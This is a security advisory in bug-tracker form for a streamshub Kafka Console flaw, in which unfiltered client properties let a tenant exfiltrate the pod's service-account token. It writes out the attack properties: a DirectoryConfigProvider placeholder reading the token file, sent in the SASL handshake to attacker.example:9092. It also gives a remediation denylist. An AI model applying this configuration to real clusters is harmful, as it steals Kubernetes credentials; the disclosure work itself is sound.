Bug 2539427 (CVE-2026-96740) - CVE-2026-96740 streamshub/console: console-operator: Streams for Apache Kafka Console: Unfiltered Kafka client properties → SA-token exfiltration via config.providers
Summary: CVE-2026-96740 streamshub/console: console-operator: Streams for Apache Kafka...
Keywords:
Status: NEW
Alias: CVE-2026-96740
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
high
high
Target Milestone: ---
Assignee: Product Security DevOps Team
QA Contact:
URL:
Whiteboard:
Depends On:
Blocks:
TreeView+ depends on / blocked
 
Reported: 2026-09-23 14:21 UTC by OSIDB Bzimport
Modified: 2026-09-28 17:06 UTC (History)
4 users (show)

Fixed In Version:
Clone Of:
Environment:
Last Closed:
Embargoed:


Attachments (Terms of Use)

Description OSIDB Bzimport 2026-09-23 14:21:36 UTC
Unfiltered Kafka client properties → SA-token exfiltration via config.providers

Location: operator/src/main/java/com/github/streamshub/console/dependents/support/ConfigSupport.java:63 → api/src/main/java/com/github/streamshub/console/api/ClientFactory.java:571

Attacker: C — any K8s tenant with Console-CR create in one namespace

What it is. 
spec.kafkaClusters[].properties.values[] (and adminProperties/consumerProperties/producerProperties) is a free-form key/value list. ConfigSupport.setConfigVars does target.put(name, value) with no key filter; downstream ClientFactory.buildConfig copies clientProperties and config.getProperties() verbatim into the AdminClient config map. Nothing on either side blocks sasl.*, ssl.*, security.*, bootstrap.servers, or config.providers.

Why it's a security flaw. 
kafka-clients 4.3.1 blocks the JNDI/LDAP JAAS modules, but it does not block config.providers. Setting config.providers=directory, config.providers.directory.class=org.apache.kafka.common.config.provider.DirectoryConfigProvider, sasl.jaas.config=... username="${directory:/var/run/secrets/kubernetes.io/serviceaccount:token}" ... and bootstrap.servers=attacker.example:9092 makes the console-api pod resolve the placeholder to its own SA token and send it in the SASL handshake to an attacker-controlled broker — no JAAS bypass required. That token carries the same ClusterRole as f001. The primitive also chains with f006 (JAVA_TOOL_OPTIONS clears disallowed.login.modules) to reach JNDI RCE. It is subsumed by f001 for attacker C but is an independent code path that survives an image allowlist.

Remediation. 
patches/f003.patch adds a FORBIDDEN_PREFIXES = {"sasl.", "ssl.", "security.", "bootstrap.servers", "config.providers"} denylist (mirroring Strimzi's KafkaConnectSpec forbidden-config pattern) and enforces it in both ConfigSupport.setConfigVars/copyData and in ClientFactory.buildConfig for defence in depth on non-operator deployments.


Note You need to log in before you can comment on or make changes to this bug.